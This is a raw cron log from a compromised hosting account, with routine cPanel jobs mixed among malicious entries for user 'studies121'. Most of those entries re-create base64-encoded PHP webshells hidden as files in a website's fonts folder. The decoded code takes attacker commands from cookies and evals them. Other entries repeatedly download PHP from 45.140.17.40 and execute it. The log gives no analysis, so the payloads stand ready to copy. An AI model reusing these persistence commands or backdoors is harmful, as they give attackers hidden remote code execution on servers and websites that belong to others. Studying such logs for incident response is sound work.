Sep 20 16:10:01 ip-184-168-122-23 CROND[26678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:10:01 ip-184-168-122-23 CROND[26679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:10:01 ip-184-168-122-23 CROND[26680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:10:01 ip-184-168-122-23 CROND[26683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:10:01 ip-184-168-122-23 CROND[26684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:10:01 ip-184-168-122-23 CROND[26687]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:10:01 ip-184-168-122-23 CROND[26686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:10:01 ip-184-168-122-23 CROND[26688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 16:11:01 ip-184-168-122-23 CROND[26959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:11:01 ip-184-168-122-23 CROND[26961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:11:01 ip-184-168-122-23 CROND[26964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:11:01 ip-184-168-122-23 CROND[26967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:12:01 ip-184-168-122-23 CROND[27274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:12:01 ip-184-168-122-23 CROND[27275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:12:01 ip-184-168-122-23 CROND[27277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:12:01 ip-184-168-122-23 CROND[27282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:12:01 ip-184-168-122-23 CROND[27283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:13:01 ip-184-168-122-23 CROND[27550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:13:01 ip-184-168-122-23 CROND[27551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:13:01 ip-184-168-122-23 CROND[27553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:13:01 ip-184-168-122-23 CROND[27557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:14:02 ip-184-168-122-23 CROND[27846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:14:02 ip-184-168-122-23 CROND[27845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:14:02 ip-184-168-122-23 CROND[27847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:14:02 ip-184-168-122-23 CROND[27848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:14:02 ip-184-168-122-23 CROND[27849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:15:01 ip-184-168-122-23 CROND[28119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:15:01 ip-184-168-122-23 CROND[28125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:15:01 ip-184-168-122-23 CROND[28124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:15:01 ip-184-168-122-23 CROND[28122]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 20 16:15:01 ip-184-168-122-23 CROND[28127]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:15:01 ip-184-168-122-23 CROND[28126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:15:01 ip-184-168-122-23 CROND[28123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:16:01 ip-184-168-122-23 CROND[28467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:16:01 ip-184-168-122-23 CROND[28470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:16:01 ip-184-168-122-23 CROND[28471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:16:01 ip-184-168-122-23 CROND[28469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:16:01 ip-184-168-122-23 CROND[28473]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 16:16:01 ip-184-168-122-23 CROND[28474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:17:01 ip-184-168-122-23 CROND[28711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:17:01 ip-184-168-122-23 CROND[28713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:17:01 ip-184-168-122-23 CROND[28714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:17:01 ip-184-168-122-23 CROND[28716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:18:01 ip-184-168-122-23 CROND[28958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:18:01 ip-184-168-122-23 CROND[28963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:18:01 ip-184-168-122-23 CROND[28962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:18:01 ip-184-168-122-23 CROND[28961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:18:01 ip-184-168-122-23 CROND[28964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:19:01 ip-184-168-122-23 CROND[29194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:19:01 ip-184-168-122-23 CROND[29195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:19:01 ip-184-168-122-23 CROND[29197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:19:01 ip-184-168-122-23 CROND[29196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:20:01 ip-184-168-122-23 CROND[29435]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 16:20:01 ip-184-168-122-23 CROND[29437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:20:01 ip-184-168-122-23 CROND[29438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:20:01 ip-184-168-122-23 CROND[29439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:20:01 ip-184-168-122-23 CROND[29441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:20:01 ip-184-168-122-23 CROND[29445]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 16:20:01 ip-184-168-122-23 CROND[29446]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:20:01 ip-184-168-122-23 CROND[29447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:20:01 ip-184-168-122-23 CROND[29448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:21:01 ip-184-168-122-23 CROND[29710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:21:01 ip-184-168-122-23 CROND[29713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:21:01 ip-184-168-122-23 CROND[29717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:21:01 ip-184-168-122-23 CROND[29718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:22:01 ip-184-168-122-23 CROND[30065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
